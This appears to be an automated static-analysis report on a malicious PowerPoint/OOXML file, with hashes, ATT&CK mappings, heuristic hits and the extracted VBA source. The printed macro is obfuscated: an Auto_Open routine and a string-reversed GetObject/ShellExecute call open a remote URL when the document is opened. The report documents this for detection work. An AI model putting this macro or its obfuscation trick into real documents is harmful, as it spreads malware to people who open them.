Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 42fd3f9621d174a7…

MALICIOUS

Office (OOXML)

11.6 KB First seen: 2021-11-07
MD5: 25e205a6c388b74fff3cd401a9c3a8aa SHA-1: dde48e2980b8b17f12f30f419a4ab544f2db9904 SHA-256: 42fd3f9621d174a744f6adc12743ff498cd8beea73d52001df290b4e63226f89
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro with an Auto_Open subroutine. This macro uses GetObject and ShellExecute to download and execute a payload from the URL "https://bitly.com/eywuiqdhnjkasbdjsghah". The use of VBA and the Auto_Open entry point are common for macro-based malware delivery.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Public Function Janug()
Set Janug = GetObject(StrReverse _
("0" + "0" + "0" + "0" + "4" + "5" + "3" + "5" + "5" + "4" + "4" + "4" + "-" + "E" + "9" + "4" + "A" + "-" + "E" + "C" + "1" + "1" + "-" + "9" + "7" + "2" + "C" + "-" + "0" + "2" + "6" + "9" + "0" + "7" + "3" + "1" + ":" + "w" + "e" + "n"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub Auto_Open()
 Dim obj As New Class1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://bitly.com/eywuiqdhnjkasbdjsghah In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1171 bytes
SHA-256: c24c20cac27d2662f500bca8f29689a95d56ed0ce600240bb23f6387b01d9bd6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "k1"
Attribute VB_Base = "0{08630C67-A1A0-4CDD-90CA-142117B31216}{93AF8BEF-F8E0-4CA4-8082-0D1BA322F793}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Attribute VB_Name = "Module11"
Sub Auto_Open()
 Dim obj As New Class1



    Call obj.Janug.ShellExecute(k1.u1.ControlTipText, "https://bitly.com/eywuiqdhnjkasbdjsghah", "", "open", 1)

End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function Janug()
Set Janug = GetObject(StrReverse _
("0" + "0" + "0" + "0" + "4" + "5" + "3" + "5" + "5" + "4" + "4" + "4" + "-" + "E" + "9" + "4" + "A" + "-" + "E" + "C" + "1" + "1" + "-" + "9" + "7" + "2" + "C" + "-" + "0" + "2" + "6" + "9" + "0" + "7" + "3" + "1" + ":" + "w" + "e" + "n"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 26112 bytes
SHA-256: d158dd11284327d1fe4df69f7d88bfcdd2ef008c807c7944d6a4e9bdd51b1e61

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